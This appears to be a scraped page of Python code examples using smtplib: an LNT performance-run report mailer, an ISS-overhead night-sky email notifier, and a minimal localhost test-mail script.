            compare_to=run_a,
            baseline=None,
            aggregation_fn=min)

        env = lnt.server.ui.app.create_jinja_environment()
        text_template = env.get_template('reporting/run_report.txt')
        text_report = text_template.render(data)
        utf8_text_report = text_report.encode('utf-8')
        html_template = env.get_template('reporting/run_report.html')
        html_report = html_template.render(data)
        utf8_html_report = html_report.encode('utf-8')

        subject = data['subject']
        if subject_prefix is not None:
            subject = "%s %s" % (subject_prefix, subject)

        # Form the multipart email message.
        msg = email.mime.multipart.MIMEMultipart('alternative')
        msg['Subject'] = subject
        msg['From'] = from_address
        msg['To'] = to_address
        msg.attach(email.mime.text.MIMEText(utf8_text_report, 'plain',
                                            'utf-8'))
        msg.attach(email.mime.text.MIMEText(utf8_html_report, 'html', 'utf-8'))

        # Send the report.
        if not dry_run:
            mail_client = smtplib.SMTP(host)
            mail_client.sendmail(from_address, [to_address], msg.as_string())
            mail_client.quit()
        else:
            out = sys.stdout
            out.write("From: %s\n" % from_address)
            out.write("To: %s\n" % to_address)
            out.write("Subject: %s\n" % subject)
            out.write("=== text/plain report\n")
            out.write(text_report + "\n")
            out.write("=== html report\n")
            out.write(html_report + "\n")
Пример #29
0
def is_night():
    parameters = {
        'lat': MY_LAT,
        'lng': MY_LONG,
        'formatted': 0,
    }

    response = requests.get('https://api.sunrise-sunset.org/json',
                            params=parameters)
    response.raise_for_status()

    data = response.json()
    sunrise = int(data['results']['sunrise'].split('T')[1].split(':')[0])
    sunset = int(data['results']['sunset'].split('T')[1].split(':')[0])

    time_now = datetime.now().hour

    if time_now >= sunset or time_now <= sunrise:
        return True


while True:
    time.sleep(60)
    # if iss is close to current position and its currently dark send a email
    if is_iss_overhead() and is_night():
        connection = smtplib.SMTP('smtp.gmail.com')
        connection.login(MY_EMAIL, MY_PASSWORD)
        connection.sendmail(from_addr=MY_EMAIL,
                            to_addrs=MY_EMAIL,
                            msg="Subject: Look up, the ISS is in the sky")
Пример #30
0
#!/usr/bin/env python2

from __future__ import print_function
import smtplib

mail_server = 'localhost'
mail_server_port = 25

to_addr = "*****@*****.**"
from_addr = "*****@*****.**"

from_header = "From: %s\r\n" % from_addr
to_header = "To: %s\r\n" % to_addr

subject_header = "Subject: nothing interesting"

body = "This is a not very interestring mail"

email_message = '%s\n%s\n%s\n\n%s' % (from_header, to_header, subject_header,
                                      body)

s = smtplib.SMTP(mail_server, mail_server_port)
s.set_debuglevel(1)
s.starttls()
s.login('fuyajun1983cn', '')
s.sendmail(from_addr, to_addr, email_message)
s.quit()